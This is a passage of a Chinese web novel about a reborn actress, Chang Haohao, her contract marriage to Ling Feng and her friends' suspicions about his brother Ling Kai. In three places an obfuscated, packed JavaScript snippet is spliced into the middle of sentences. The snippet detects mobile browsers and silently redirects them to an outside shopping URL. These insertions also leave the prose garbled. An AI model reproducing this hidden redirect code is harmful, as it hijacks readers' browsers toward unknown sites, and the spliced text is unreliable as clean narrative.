大家接触时间比较短,每个人都很忙,真正长时间联系的不多。冯媛算一个,也是让常好好印象深刻,属于现在回忆起来比秦汀还倒胃口的那种。 她们认识时间很久。从常好好录制出道恋综节目结束后,通过共事的同事认识。两个人一直以来关系很好,几乎无话不谈。常好好把冯媛当作圈里最好的朋友,有好资源跟她分享,把她当成自己人。 起初不知道真相的常好好天真的以为冯媛被公司压着没办法选择,后来才从别人嘴里和聊天记录知道一些事情。 原来冯媛一直想把她从高处拉下来。不仅联合赵奕一和公司给她下黑水军污蔑她。更在她被诬陷成为杀人凶手的时候,借机踩她一次又一次。 最终,常好好等了三年的角色,已经进组的角色,被冯媛拿下。 就算是这样,她仍不相信十二年的好朋友会莫名其妙背刺她。连忙跑去质问,结果人家轻描淡写地回了一句:“谁让你一直那么顺、过得那么好呢。这次也该轮到我顺,你回到我以前的位置上感受了。” 脑海中出现冯媛那张虚伪的面孔,常好好一阵恶寒,喃喃自语:“真倒胃口。” “啥?”沈骁只看见常好好嘴动了动,却没听见声音,想继续问下去,门外猛地传来一阵不寻常的喧闹,犹如捅了马蜂窝。 她蹑手蹑脚走到门口,疑惑地拉开条门缝,看见外面的场景瞬间愣住。 平时房门前略显空荡的走廊此刻挤满了人,有酷誉的领导、员工,还有…… 中间的靓丽身影一转脸,竟是经常在电视上看到的某位女明星。真人比镜头上还要亮眼,正微笑着和旁边人说话。她下意识把门又拉开一点,探出一颗圆圆的脑袋,心里惊讶又好奇。 刚才想跟常好好说的话,一下子全抛到脑后。 “怎么了?”身后传来常好好压低的询问声,“看什么呢,这么入迷?” 沈骁吓得一激灵,猛地缩回头。转身对常好好做了个“嘘”的手势,脸上写满了兴奋,“快过来看!外面来了好多人。还有你朋友呢。” 她朋友? 常好好听得愣了一下,迟疑好半天,歪了歪头,眼睛里全是问号,显然没明白沈骁的意思。 这个时间段,她的好朋友肖晗压根不在滨城。至于其他朋友……唇角不自觉地抽了两下,她有种不好的预感。快步走到门边,微微探出头,从门缝里小心地向外望去——冯媛身穿乍眼的亮红色礼裙,正和成世泽交谈。她时而捂嘴笑,时而侧脸倾听。 真是不能多合计。 常好好不淡定了,完全控制不住自己,随口说了一句“他大爷的”,随后在沈骁一脸懵逼的面容下,快速把她上半身拽了回去,顺便把门轻轻带上。 “重来一次,这些人怎么比上一世还阴魂不散?上一世哪有这出?”她的语气要多不爽有多不爽。 沈骁试着理解,仍旧没听懂,呆呆地看着她。 常好好坐回原位,在沈骁期待和疑惑的眼神中慢慢讲述:“我的这些同期里,冯媛比秦汀阴多了,完全不是一个等级。” “以前不知道。原来每次我送她礼物,她都以为我在凡尔赛,故意刺激她。” …… 沈骁默默听着,嘴逐渐裂开,越裂越大。她不敢置信地摇着头,手臂支撑着桌子慢慢坐下去,嘟囔道:“你的意思是,她表面跟你关系好,其实都是假象。不仅如此她还特别嫉妒你,恨不得把你踩在脚底下?” “完全正确。” “我的妈呀,演技堪比影后啊!” 常好好嗤笑一声:“演员演员,认真你就输了。” “我不同意!”沈骁一脸严肃,“你不一样,我能感觉到。” “别介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291316|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !你可别对我有所期盼,我有时候比她还能演,但我对她的感情确实是真的。”怎么说起来怪怪的,好像被始乱终弃似的。常好好摆了摆手,“算了!不提她,想起来都烦。” 沈骁一直都是想一出是一出,冷不丁地说:“不跟他们扯了。” 她一下子从椅子上弹起来再次跑到门边,悄悄拉开一条门缝,眼睛机警地左右扫视,回头对常好好使了个“快跟上我的步伐”的小眼神。 于是,两人猫着腰,踮着脚尖,像做贼似的溜过走廊从反方向离开。 途径茶水间,正好可以避开人流。 倏地,沈骁突然伸手拦住她,“等我两分钟,我忘拿手机了。” 常好好扯了扯嘴唇,轻轻点了点头,示意沈骁快去快回。她独自溜到安全出口旁边,恰好看见旁边转角处高大的绿植,机智地藏在绿植后面。 这个角度能瞥见斜前方区域,而路过的人却不易察觉她的存在。 就在这个节骨眼,一个身影“嗖”地闯入了她的视线,使她整个人僵在那里,眼睛不自觉地睁圆了。 望着魏筝脸上说不清道不明的复杂表情,常好好脑子里嗡的一声,第一个冒出来的念头是:“肯定跟幕后渣男有关。” 她小心翼翼地往阴影里缩了缩,屏住呼吸,视线牢牢锁在魏筝身上,随即悄悄跟在她后面,一直到安全出口门口,刚伸出手准备推开一个小缝,听见里面有声音传来:“昨天不是已经跟你说清楚了吗,怎么又给我发信息?”这个音色常好好熟悉,的确是魏筝的声音。 此时此刻,常好好的耳朵正贴在冰凉的铁门上,一动不敢动,生怕不小心发出声音,紧张得要死。 即便如此,仍然冷静下来把手机调成静音,打开手机录音。 里边,男人如她所愿开了口:“我来是想告诉你,你不必为了我离开滨城。” 男人话音一出,常好好无意识地捂住嘴巴,手机差点滑落到地上。 这个声音…… “我不懂你为何非要离开。我们什么也没发生,不是吗?”男人再次经典发言。 听清了! 这次真的听清楚了。 常好好瞳孔猛地一缩,脸上写满难以置信的震惊,嘴巴张着,微微抖动了两下,手心里全是汗。 想不通。 完全捋不明白。 她正琢磨着偷听到的零碎信息,脑子乱成一团。关键节点,又一个声音突然插了进来。 “你是在楼上吗?” 这下可好,她的思路彻底被打成了死结,太阳穴跟着隐隐发胀。非但没把刚才的线捋明白,反而更糊涂了。 “嗯,我马上下去。”男人身体微微顿了顿,很快恢复如常。转身前定定地看了一眼魏筝,什么都没说,默默下了楼梯。 楼梯间一瞬没了声响。常好好正处于断线状态,身体压根来不及做出反应。等她意识到什么,门那边突然响起一阵清晰的脚步声,正朝着门口而来。 紧接着,门把手“咔哒”一声,开始转动。 她的心瞬间提到了嗓子眼,大脑依旧处于宕机中。此刻来不及细想,身体的本能先于意识做出了反应,连忙向旁边一闪,后背紧紧贴住冰冷的墙壁,恨不得把自己嵌进墙缝里。 下一秒,安全门被人一把推开。 30. 领证 看清来人,她紧绷的背部瞬间松弛下来。 是他——凌枫。 常好好长舒出一口气,狠狠地压住仍在狂跳的胸口,白了他一眼,小声说:“怎么是你啊,吓死我了。”语气里反倒没有惊慌,只有在他面前才有的放松和信赖。 她这句抱怨刚说出口,脸上放松的表情猛地僵住。 他是什么时候来的?刚才两个人的对话,他是不是也听见了? 想到说话的男人,还有他们之间隔着的那层微妙关系,常好好刚刚落回原处的心又猛地提了起来,比刚才悬得更高、更紧。 她躲避凌枫的视线,才恢复血色的脸颊又苍白许多,喉咙发紧,一个字也蹦不出来,无措地站在原地。 “好好,你怎么跑这儿来了。我刚走反了,都下楼了,还以为你在楼下等我呢。”沈骁急叨叨的声音传到她的耳朵里。 常好好:“……” 一乱更比一乱强。 今天这都叫什么事啊? 前一刻,她感到度秒如年;此时此刻,她依然觉得度秒如年。 只不过位置从刚才的走廊外面换成了更私密的空间。 办公室里,安静得能听见所有人的心跳声。 沈骁坐在常好好对面,手里紧紧攥着零食袋,整个人进入“一级吃瓜警戒”状态,就等常好好开口,她好把啃海苔的声音当成背景音效。 凌枫往墙上一靠,好像拍了封面的男模一样,摆出日常那副“我早已看穿一切”的德行。 他的眼神长在常好好身上,直勾勾地盯着,眼皮都不带多眨一下。 两个人看得常好好直发毛。嘴巴张了张,又闭上,再张开,又把嘴闭上。 沈骁急得抓耳挠腮,活像一只等着投喂的猴儿。眼看常好好仍在慢悠悠地组织语言,她憋得满脸通红,就差跪下来求她。 “好好快说!你要把我急死啊。” “你问凌枫,他应该听到了吧。”常好好把难题抛给凌枫,顺便试探对方是不是真的听到了重点。 凌枫换了个姿势,淡淡地道:“嗯。” 果然如此,他真听到了。 “是凌楷。”凌枫补充一句。 两人的眼神在空中“叮”地碰了个正着,跟突然连上了同一个Wi-Fi似的,瞬间便明白了对方脑子里正转着跟自己一模一样的念头。 他俩倒是想到一块儿去了,沈骁彻底懵逼了,吃海苔吃到一半,歪着头问了一嘴:“啥凌楷?凌楷咋了?” 才几分钟不在场,这里面咋就有凌楷的事了? “上一世跟魏筝有纠缠的人——”常好好说一半停顿,瞄了一眼凌枫,发现他没有太多表情变化,才接着说,“应该是凌楷。” 沈骁经历过一次狼来了,明显不太相信,下意识地道:“你们别逗我了,我懂,这次又是巧合。” 如果不是亲耳所听,常好好同样不敢相信。 站在一旁的凌枫开口道:“凌楷有一辆不经常开的黑车,车尾号也是三个六。” 一切好像都对上了。 办公室内安静如斯。 “太可怕了!斯文败类啊!”沈骁发挥她的大嗓门。说出口后发现这话太直白,赶紧委婉地往回兜,“咳咳……我的意思是……那个……外表完全看不出来。”说完,瞥到常好好抽搐的嘴角,意识到不对。凌枫和凌楷俩人长一模一样,这么一说好像把两个人一起骂了。于是,赶紧改口,“果然,人不可貌相啊!”察觉到自己越说越气人,干脆叹了口气,拉着长音说,“今天,天气不错啊。” “……” 凌枫没啥反应,但是总感觉气氛怪怪的。常好好清了清嗓子,站出来主持大局,把魏筝和凌楷在楼梯间的对话,原封不动地放给沈骁听。 沈骁听得贼认真,生怕漏掉半个字。等全部听完,陷入短暂的思考,然后一句话总结:“所以我朋友已经放下,反倒是凌楷不想放手?”这回她顾不上凌枫和凌楷的关系,直言不讳地道,“不是?他有毛病吧!” 刚要点头,顾及到那边的凌枫,常好好低下头,装作看着手册。 沈骁继续她的分析:“你们不觉得奇怪?这里面bug太多了。他是如何知道我朋友挪用公款的事?手未免伸太长。”话落,她目光不由自主地移到凌枫的脸上。与此同时常好好同样在关注凌枫的情绪。两个人都察觉到凌枫的眼睛眯了眯。 见状,沈骁有点不忍,转过头看着常好好,硬着头皮转移话题,“对了,你说关键时刻成世泽喊了凌楷,是不是成世泽也知道这件事?” 一语惊醒梦中人。 沈骁的话像一道雷劈下来。常好好感觉自己的脑瓜子嗡嗡直响。 假设上一世的时候,成世泽在不知不觉中知晓了凌楷和魏筝的关系。 可怕的念头钻进脑袋里,她的眼神慌得不行。 沈骁瞅了瞅对面的常好好,正低头跟自己的手指头较劲呢。再瞥了瞥斜后面的凌枫,眼神飘忽不定,不知道在想些什么。 办公室里再次没了声音。 她欲言又止,深吸一口气,牙一咬、脚一跺,决定来当这个恶人。 “我说,成世泽跟凌楷关系咋样啊?”她非常直接,没有一点拐弯抹角的意思,“有没有一种可能。上一世成世泽偶然发现了我朋友和凌楷之间的事,找到凌楷说了什么或者做了什么,以至于发生一些事情。” 常好好摇头:“不知道。” 凌枫没吱声,却也没反驳。 沈骁冷不丁地鼓掌,嘴角疯狂上扬:“一切都是最好的安排啊。” 她抽象不已的话,自然吸引来另外二人。 面对他们投来的视线,沈骁翘起二郎腿,整个身体有节奏的微微抖动,嘚瑟地说:“好好,你们不是要结婚了吗,刚好可以跟凌楷有更深的接触。” 常好好知道凌枫和凌楷之间错综复杂的兄弟情,决定暂时不发表言论,逼迫自己闭上双眼,回想上一世的事。 印象中比起凌枫,成世泽和凌楷更像亲兄弟。他们两个经常一起行动,属于吃个饭、上个厕所都要结伴的离谱程度。 “我突然想起来一件事!”她激动地站起来,双手支撑在桌面。看见凌枫朝她的方向看,自然地挑了挑眉,“凌枫,如果我没记错的话。他们两个年轻的时候是不是喜欢过同一个女孩?” 凌枫端着茶杯的手,几不可见地顿在半空中。不知道过了几秒,他慢悠悠地喝下一口茶水,薄唇吐出四个字:“不记得了。” “不会吧?难道我记错了?”常好好眉头紧皱,喃喃自语。 沈骁平时最喜欢听这种类型的八卦,耳朵“唰”地竖起来,眼睛里头闪着对劲爆消息的渴望光芒。 她搓了搓手,问道:“啥情况?还有这事呢?两个人不会是情敌吧?”她比其他两个人更加积极,握拳敲打自己的脑袋,“我想想哈。我记得魏筝曾经说过一句话,什么来着……” “想到了!当时她情绪崩溃的时候除了提到男人有女儿,还提到男人把她当成替身。以前没深想,难道说凌楷喜欢的人不是他老婆,另有其人?” “越来越精彩了。”她兴奋得两眼发光,往嘴里猛塞海苔片。 精彩个屁啊,明明是越来越复杂。凌楷有老婆的前提下威胁魏筝跟他在一起,然后他内心还隐藏着一个喜欢的人?这属于哪种类型的渣男? 常好好眼前浮现出凌楷的脸,下意识地往凌枫方向看去,恰巧凌枫正盯着她看。 凌枫清冷的视线撞上常好好亮得惊人的眼睛,凌枫率先别开目光。 常好好前倾上半身,手杵着下巴,紧紧盯着凌枫优越的下颌线,微微摇了摇头。 他现在一定很失望吧。 心里如此想,她收回视线,垂下眸子,显然对凌楷是恶臭渣男这一事实也难以接受。 再一抬头,发现凌枫不知从什么时候开始移动,直接挨着她坐下。 面对男人速度惊人且匪夷所思的行为,她被吓得往后仰了仰,谁知对方完全没看她,眼睛盯着前方的窗户,轻咳两声,跟做会议结束后的总结似的,开始分析。 “现在魏筝的事情明了,我认为……”他说了一大段总结,最后一本正经地道,“凌楷,确实需要我们重点关注。” 沈骁直接一个弹射,马屁拍得要多响有多响。 “看!还得是我们枫哥啊!非常客观、非常理性。”她挥舞着手臂,“我们现在同处一个战队,心一定要往一处使!这一切的一切都是为了正义!” 调起的真高啊。 常好好被她的振奋人心惊得目瞪口呆,忍不住扯了扯唇角:“你说的话我同意。但是吧,我觉得我们还是低调一点比较好。”她顿了顿,半眯着眼,“首先,能不能先把你的大嗓门往回收一收。” 要不是办公室位置偏了点,估计整个公司的人全部能听到。 意识到声音过于洪亮,沈骁立刻缩了缩脖子,捂住嘴巴,眼睛快速眨了两下:“我知道了,我刚刚实在太激动了。” 从这一刻开始,凌楷被常好好等人列为重点人物。 两周后,常好好和凌枫顺利领证。领证当天顺畅无阻,开车连续过三个交通岗都是绿灯,民政局办事大厅里基本没有几对登记结婚,过程顺利得让同行的沈骁和安燃都一个劲儿的称奇。 凌枫家中。 一男一女坐在沙发上。两个人动作如出一辙,看起来都对红色的小本本感到好奇。 “现在计划有变,这一年半里你可要注意,千万别把我结婚的事暴露,尤其注意阿姨那边。”常好好千叮咛万嘱咐,已经是领证后第四次说起这件事。 计划赶不上变化。公司那边看常好好最近水花飞起,起了捧她的心思。按照五年前两方签的合同,自动续约一年是板上钉钉了。 凌枫心知常好好最担忧的地方,给了她一个定心丸:“放心,我跟我妈说了你的难处,她不会因为满足内心的喜悦而到处炫耀。我妈和身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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忽地,他紧锁的眉头舒展开,缓缓抬头,对上常好好投来的热切目光,露出一抹浅笑,“你饿吗?我给你做些吃的。” “?” 不过是想逗一逗凌枫,看他如何应对。谁能料到对方竟然不正面回答她的问题,竟然要给她做饭? 常好好心里闪过一种可能性,然后把这种可能性强行压下去,问道:“你会做饭?” “嗯。”凌枫起身来到冰箱前,打开上面的冷藏柜,拿出各式各样的新鲜食材,“今天是我们结婚第一天,是个值得纪念的日子。” 常好好明显愣了一下。 这家伙,怎么比她还入戏。 凌枫走到洗手台前,用手腕轻轻打开水龙头,接着按压洗手液,从指尖到腕部,每一寸皮肤都反复搓洗,正正反反,连指甲缝都不放过。洗完手,再小心翼翼地用腕部慢慢压下水龙头开关,确保刚洗净的手绝不与水龙头发生任何接触。 常好好看得一愣一愣的。她倒是忘了,凌枫有洁癖。 “我不太会烧菜,但我可以帮你打打下手。”她故意拔高声音,“哎呀,我回来后忘记好好洗手,我再去洗手间好好洗干净,顺便上个厕所。”说完转身便要抬脚。 “常好好。”凌枫叫住她。 她以为凌枫看透了她的小心思,心里七上八下的,慢慢转过身子,“咋……咋了?” “你的手机回来后擦了吗?” “啊?” 虚惊一场。 “好像擦了吧,记不太清。”常好好故作镇定,转身就走,“你不放心的话,再帮我擦一遍吧。” 因为心虚她不敢回头,直到走到拐角处,确定看不到凌枫的身影,才靠在墙边,偷偷探出头瞄了一眼厨房的方向。 见凌枫专心致志切菜,探回小脑袋,悄摸摸地移步到客卫旁边的房间,手搭在门把手,轻轻往下按压,门就这样被她打开。再用同样的方式打开其他房门,后来让她发现一个锁着的房间。 “安燃说的没错,真有一个房间的门被锁上。”她心里嘀咕着,“这是不是说明凌枫心里有秘密,而且是一个大秘密。” 很多事情不禁联想。 她把刚刚凌枫的神态、语言、行为等等全部串成一条线,最后总结道:“他喜欢的人不会真的是我吧?” 餐厅。 凌枫轻皱眉头,手不忘抽出抽屉拿出一张酒精棉片,快速撕开外包装取出棉签,微微用指腹压着,从手机屏幕左上角开始擦拭,正面背面侧面,全部擦一遍。确定都擦拭到,再把手机从背面翻到正面,翻到一半,他的动作猛地停住。 手机边缘,屏幕与手机壳的接缝处,有不易察觉的灰尘卡在那里。 他难受极了,又从抽屉里搜出一张酒精棉片,再用大拇指按住手机一角,轻轻一推,将手机壳拿下来放在旁边,开始新一轮清洁。 突然间,手指肚被有些尖锐的东西刮到,他翻到手机背面,发现一张四寸大小的卡片贴在上面。 迟疑几秒钟,最终还是抬手把小卡拿下来,并翻到了正面。 31. 蔫坏 “凌枫,你家格局很不错。” 未见其人先闻其声。 在听见常好好声音的一刹那,凌枫快速将小卡放回原处,重新套上手机壳,动作干脆利落,神情同往常没太多区别,淡定如斯。 常好好擦手的动作非常刻意,眼神一瞟,看见手机动了地方,猜到凌枫替她擦好了手机,从而举起洗得干干净净的双手,“看!洗好了,我帮你做菜。” “没关系,你去休息吧。” “我真的洗干净了,”常好好摇晃她的手,“一尘不染。” 凌枫:“你会切菜?” 她摇了摇头。 凌枫:“你会炒菜?” 她再次摇头。 凌枫:“你休息吧。” “好吧。”她一脸可惜,实际开心极了。转过身的那一刻,露出鸡贼的笑,抽出一把餐椅坐在上面,手肘撑在桌面上,双手手掌贴在脸颊两边,欣赏凌枫下厨的美好画面。 上一世,在常好好的心里,凌枫算得上她的死对头。 每当想起他们之间的婚约,都气的吃不好睡不好,天天想着如何跟他斗智斗勇,摆脱婚约。 如今,死对头竟然就站在她对面,为她做菜。 此等场面不知道今后还会不会有。想到这里,她一把拿过手机,点开置顶群聊,发出一句惊呆他人的话:【说出来你们都不信,凌枫正在我对面给我下厨。】 【脑袋短路小燃燃:你喝了多少,没睡醒呢???】 【好好生活:有图有真相。】 常好好把凌枫切菜的帅照发到群里。 【抽象派骁骁:我靠啊,领完证真过上日子了,还说不是假戏真做,现在总可以让我磕cp了吧。】 【脑袋短路小燃燃:凭啥?我跟他一起锻炼的时候,他都没为我做过饭,果然是重色轻友。】 【抽象派骁骁:燃哥,不是我打击你。你拿什么跟好好比啊,你也有红本本吗?】 【脑袋短路小燃燃:切!我只是想提醒你们,他可是凌枫,别被他帅气的外表欺骗,城府深着呢。】 【脑袋短路小燃燃:不是我说他坏话,真没听说他为谁下厨房做饭,总感觉哪里不对劲。】 【抽象派骁骁:你这是典型的吃不到葡萄说葡萄酸。就不能是我们枫哥喜欢好好吗!】 【脑袋短路小燃燃:怎么可能?我们枫神不是有喜欢的人吗,是谁都不可能是好好,完全不符合逻辑。】 【抽象派骁骁:燃哥,你未免太绝对。要不我俩赌一把。】 【脑袋短路小燃燃:你确定?你这是必输的局。】 …… 沈骁和安燃彻底在群里杠上,常好好不再看群里发了些什么。她心里乱的很,视线不自觉地停留在凌枫身上,盯了好半天。 刚才凌枫打开冰箱的时候,她朝里面望去,并没有看见豆角。突然,她有一个大胆的猜测,起身走到凌枫身边,语气一本正经:“凌枫,你之前为什么会认为我喜欢吃豆角?” 凌枫将盘子里的菜倒入锅里,侧头,看了她一眼,然后转回头说道:“有一次你来我家,我妈妈特意提到过你喜欢吃乱炖。” 原来如此。她就说凌枫放着其他大菜不夹,总给她碗里塞豆角干嘛,原来是这么一回事。 “我特别不喜欢吃豆角。”常好好实话实说,“高中我知道自己不是成知聿亲生,整个人都慌了,那时候还不知道真相,成天担心邓敏和成知聿不喜欢我,所以为了讨好他们撒了许多谎。乱炖那道菜跟鱼是一个道理,我不喜欢吃,却硬着头皮咽下去。” “今天这道菜你应该会喜欢。”凌枫视线专注,手腕轻轻一抖,煎锅里的烤肠翻了个面,“至少等十分钟,你去休息吧。” 常好好看到了锅里的烤肠,脑中忽然浮现出他们与成世泽吃烤肉那天的场景,一个念头闪过心头。 这个猜测使她心漏掉了一拍,好像一切都有迹可循。她简单回答了一个“好”,默默坐回原位,再次打开群聊。 【好好生活:我亲爱的队友们,我发现了一个大秘密,凌枫喜欢的人是我的概率增加,保守估计80%吧。】 【脑袋短路小燃燃:我知道你向来脸皮厚,但“凌枫喜欢你”是绝对不可能的事儿。重生前你俩说过几句话?我想想,有十句话吗?】 【抽象派骁骁:啊???不至于吧,他们不是有婚约吗?】 【脑袋短路小燃燃:不信你问她,我绝对没说谎,压根没啥交集。要不是有婚约,估计一次面都碰不上,看起来完全不是一路人。我现在都开始期待一年半以后,你俩公开结婚,网络上会掀起多大的浪。我靠?想想就刺激。】 【抽象派骁骁:那我还是更期待好好放弃退圈的想法继续她的顶流之路,实在不行咱换一个公司呗,多大点事。】 【好好生活:你俩能不能不要这么没心没肺!!!!!我闲着没事跟你们开玩笑呢?没有证据我会乱说?】 【脑袋短路小燃燃:啥证据?】 【好好生活:我发现他一直在默默观察和了解我。】 【脑袋短路小燃燃:就这?这也叫证据?】 【抽象派骁骁:好好我都快忍不了了,快快快,赶紧把证据全甩出来砸燃哥的脸。】 【好好生活:凌枫城府深不可测。有没有一种可能,他一直伪装,然后给我下套。现在目的达到了,我跟他领证后,他就换了个模样,对我超级温柔。没骗你们,他跟以前判若两人。总不能我俩单独在一起的时候,他也演戏吧。】 【脑袋短路小燃燃:………………你认真的吗?】 【好好生活:没跟你们开玩笑,他现在变了一个人,竟然在那边给我煎烤肠。】 【抽象派骁骁:我的妈呀,你连喜欢吃小烤肠都跟他说了?】 【好好生活:烤肠真没说。上次跟成世泽吃饭,他有在我旁边观察。】 【抽象派骁骁:别说,真有可能啊。】 沈骁这句话给了她定心丸。常好好更加坚定自己的想法,要不然怎么证明凌枫此时此刻的状态。 倘若凌枫心里面的人真的是她,再好不过。不管他承不承认,都可以利用他。 【好好生活:你们别忘了,凌枫刚开始压根没打算跟我们坦白他重生的事,现在凌楷又是我们的重点观察人物,我们更要留个心眼。我呢,继续扮演喜欢他多年的角色,该利用的时候还是要利用的,不能误了大局。】 【抽象派骁骁:好好说的有道理,枫哥这人吧太神秘,让人猜不透。】 【脑袋短路小燃燃:别怪我没提醒你们哈,别被他牵着鼻子走,我跟他认识时间长,比你们都了解他。】 【抽象派骁骁:切!认识那么久都不知道枫哥喜欢谁?】 安燃被沈骁怼了也不示弱,两个人再一次在群里杠上。常好好懒得看群里的热闹,抬头静静欣赏眼前的画面,直到凌枫把饭菜端到她面前。 群里所说80%确实有口嗨的嫌疑。所以她故意不帮忙,为的就是等着看凌枫的反应。 “尝一尝我的手艺。”凌枫将筷子递给常好好,然后拉出椅子,在她正对面坐下。 常好好笑呵呵地接过筷子,观察凌枫的一举一动,好像他的行为举止都符合她的猜测。 于是开始新一轮猛攻:“你今天好反常。” “有吗?” “当然有了!”常好好把小烤肠放进嘴里细嚼慢咽,微微歪着头,笑意蔓延整张脸,等咽下去才慢条斯理地说,“我喜欢你,你也喜欢我,要不我们假戏真做吧。”话音落下的瞬间,凌枫眉头都没皱一下,平静地看着她,说道,“不开玩笑,正事要紧。” 换做以前,凌枫八成会说“这么好吃的菜都堵不住你的嘴”类似的话,如今不仅不毒舌,甚至故意不正面回答她的问题。 常好好凝视着凌枫,目光扫在他的脸上,心中更加摸不着头脑。其实她刚刚听进去了安燃的话,仔细思考一番,终于冷静下来,也清醒不少。 难道凌枫想用跟她一模一样的招数,借着暗恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300145|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多年的说辞,只是为了利用?心里正寻思着,突然被门铃声打断了思绪。 凌枫去开门,回来的时候手里多了一个大袋子。不用看里面是什么,光闻味道便能判断出来。 “哇塞!大干包!” 苏淼不客气地抓了一块榴莲肉,上来咬了一大口:“嗯……香!” 见她吃得满嘴都是,陆颂无奈摇了摇头,利落地剥出剩余的果肉,再一一摆放到盘子里。 张韧刚刚结束一通电话,一屁股坐在苏淼旁边的位置上,同样不客气,随手拿过来一块榴莲往嘴里塞。 “你们俩洗手了吗?”陆颂嘴上嫌弃,眉眼却是笑着的,“手速真快。” “我洗了,你看还有水珠呢。”苏淼说完,把手里剩下的半块榴莲一股脑全塞进嘴里,含糊着嘀咕,“我小舅洗没洗就不知道了,我猜他没洗。” 张韧几乎跟苏淼同一时间咀嚼完嘴里的榴莲,抽出纸巾擦了擦手,“我洗手了。” 苏淼一脸嫌弃:“谁信啊?” 张韧好似没听见苏淼的话,忽然抬起手,悬在空中来回翻了两下,然后啧了一声:“只要一提到洗手,我脑海里第一时间想到凌枫那张脸,你说他洗手那个劲,不怕洗吐露皮啊。”说着说着自己笑了,把身边的苏淼吓一激灵,“小舅,你不太适合笑,笑的我害怕。”话音落下,她抬手搓了搓手臂上起的鸡皮疙瘩。 张韧大咧咧地往椅背上一靠,不再笑出声,眼里的笑意却不减,“陆颂,你又不跟凌枫说实话。你啊,做人不厚道。” 他说话的功夫,苏淼已经干掉两块榴莲肉,紧接着又拿起第三块,边吃边问:“什么呀什么呀,你们又讨论啥了,能不能别老背着我探讨,我也是团队的一份子。” “你问他,他蔫坏着呢。”张韧道。 “你不也没说?”陆颂这才坐在椅子上,拿起一小块榴莲肉,轻轻咬了一口,偏过头,看见了张韧微妙的表情。 两人对上眼神,好像一下子回到了重生前一周,调查案情的某个晚上。 办公室里。 陆颂和张韧并排坐在一起,他们对面还坐着一个男人。男人脸上挂满了倦意,说话的声音也闷闷的,“你们放错了重点,凶手不可能是成忆时。” “我们看中证据,现有证据中成忆时的嫌疑最大。”张韧道。 “既然如此,我还能说什么呢。该说的我都已经说了,”男人起身,语气略显强硬,“请便。” 张韧没起身,朝右转头,刚好与陆颂对上眼神。 陆颂发出一声轻笑,笑中带着复杂的情绪。他叹了口气,缓了片刻才道:“你跟成忆时之间究竟有没有其他关系。” “没有。”男人道。 “我们查成忆时小区门口的监控,发现她搬到新家的两百多天里,你和你的车出现的次数超过了三十次。”陆颂脸上的笑容渐渐消失,目光随之沉了下来,“我们认识这么长时间,你会平白无故出现在跟你没有任何关系的女人的小区门口?” 屋内气氛紧张。 张韧拍了拍陆颂的肩头,安抚陆颂的情绪。他望着男人的眼睛,一字一顿地道:“事关重大,不要感情用事。” “我承认,我喜欢她。她,”男人垂下眸子,“不知情。” “你们倒是快说呀。”苏淼打断陆颂和张韧的回忆。 她吃完第三块榴莲,快速擦了擦手,看样子打算问到底,“我每天写小说那么忙都不忘记帮助你们,上次陈舒悦的事还有我的功劳呢,你们不能这样对我。”说到这,她意识到什么,“你们是不是有新线索?成世泽身边出现新的可疑人物了?” “不是成世泽。是他有喜欢的人。”张韧道。 “他?”苏淼瞄了一眼陆颂,倒吸一口气,然后眼睛变得蹭亮,掏出手机打开备忘录,码字的姿势都准备好了,激动地问,“谁啊颂哥,你喜欢的人是谁啊?” “跟我没关系。”陆颂表情不自然,长叹一口气,“是他。” “谁啊?到底谁?” 32. 经验 “凌枫。” 听到陆颂说出名字的瞬间,苏淼所有动作戛然而止,眼睛微微瞪大,“你们的意思是枫哥有喜欢的人?” “天啊,这可是劲爆消息。”她激动得手直哆嗦,“谁啊谁啊,我认识吗?” 张韧对自家人了解得透透的,心知她打破砂锅问到底的性子,知道早晚都要告知她,却还是卖了个关子,“你认识她,她不知道你。” “我认识她……”苏淼嘴里嘀嘀咕咕,站起来,从这边慢悠悠地走到那边,忽然想到了某点,几乎从另一边飞奔回来,眼底的兴奋快要冒出来,随即爆发出惊呼,“常好好?是常好好对不对!” “不愧是我的外甥女,聪明劲儿跟我如出一辙。” 得到张韧肯定的答案,苏淼把手机放到桌上,在餐厅里来回踱步,小嘴叭叭个不停。 “这可是大瓜,超级大瓜啊。” “枫哥喜欢常好好?我勒个去,我有点不敢相信,太意外了。” “我现在满脑子都是他们俩在一起的画面,真的好配。” “最主要的是那是凌枫,凌枫啊,好想看高岭之花谈恋爱,想想都激动。” “枫哥现在的样子,”她说着说着,脚步猛地停了下来,双手用力击掌,仿佛又发现了新大陆,嘴角勾起一抹坏笑,“他不知道!我明白了,现在他还没喜欢上常好好!” 张韧竖起大拇指,一脸赞许:“分析能力很强。” “精彩!实在太精彩了!”苏淼不知脑补到哪里,突然一把抓住张韧的手臂,“小舅,你们两个不会把这些来龙去脉告诉枫哥吧。”瞥见两个大男人你看我我看你,却没有要回答的意思,她直跺脚,“别呀,你们不好奇日后的发展?说出来就没意思了呀。” 眼前好似闪过无数个场景,她拿起手机“嗖”地窜了出去,“不跟你们说了,灵感来了,我要全部都写出来。” 